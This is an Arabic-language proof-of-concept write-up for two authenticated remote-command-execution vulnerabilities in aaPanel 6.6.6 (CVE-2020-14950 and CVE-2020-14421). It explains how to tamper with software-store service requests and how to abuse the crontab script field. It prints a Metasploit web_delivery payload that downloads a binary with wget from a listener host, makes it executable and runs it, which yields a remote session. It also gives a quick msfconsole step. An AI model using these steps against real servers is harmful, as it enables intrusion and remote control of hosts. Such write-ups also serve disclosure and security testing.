aapanel

aapanel 6.6.6 - CVE-2020-14950

• الوصف : يسمح للمستخدمين المصادق عليهم عن بُعد بتنفيذ أوامر عشوائية عبر قائمة الإعدادات في متجر البرامج.
• الإصدار المتأثر : جميع الإصدارات <= 6.6.6

معلومات

لإعداد هذا الـ PoC، قمت فقط بتثبيت البرنامج باستخدام docker-compose

• نوع الثغرة : تنفيذ الأوامر عن بُعد (RCE مصادق عليه)

PoC

انتقل إلى متجر البرامج، وانقر على أي صف من حقل الإعدادات، واعترض الطلب عند النقر على "start/stop/restart" وعدّل/حرّر الطلب لتنفيذ ما تريده. إليك مثال باستخدام curl :

aapanel 6.6.6 - CVE-2020-14421

• الوصف : تسمح للمهاجم بتشغيل أمر عشوائي عن بُعد
• الإصدار المتأثر : جميع الإصدارات <= 6.6.6

معلومات

لإعداد هذا الـ PoC، قمت بتثبيت Ubuntu 20.04 نظيف، ثم قمت بتثبيت wget + sudo ونفّذت هذا السكربت wget -O install.sh http://www.aapanel.com/script/install-ubuntu_6.0_en.sh && sudo bash install.sh

• نوع الثغرة : تنفيذ الأوامر عن بُعد (RCE مصادق عليه)

PoC

أولاً، قم بإعداد خيارات web_delivery، سيؤدي هذا إلى إنشاء payload ومستمع.

الآن قم بتشغيله

سيقوم هذا بتوليد الـ payload التالي:

wget -qO wt8v00sC --no-check-certificate http://xxxx:8088/gUVn1orp; chmod +x wt8v00sC; ./wt8v00sC& disown

ثم انسخ/الصق مثل هذا في script content من قائمة crontab في aapanel.

الآن فقط نفّذ crontab الخاص بك وانتظر جلستك.

استغلال سريع

فقط قم بتشغيل msfconsole -r aapanel.rc وانسخ/الصق الـ payload في قسم script content، واستمتع بجلستك.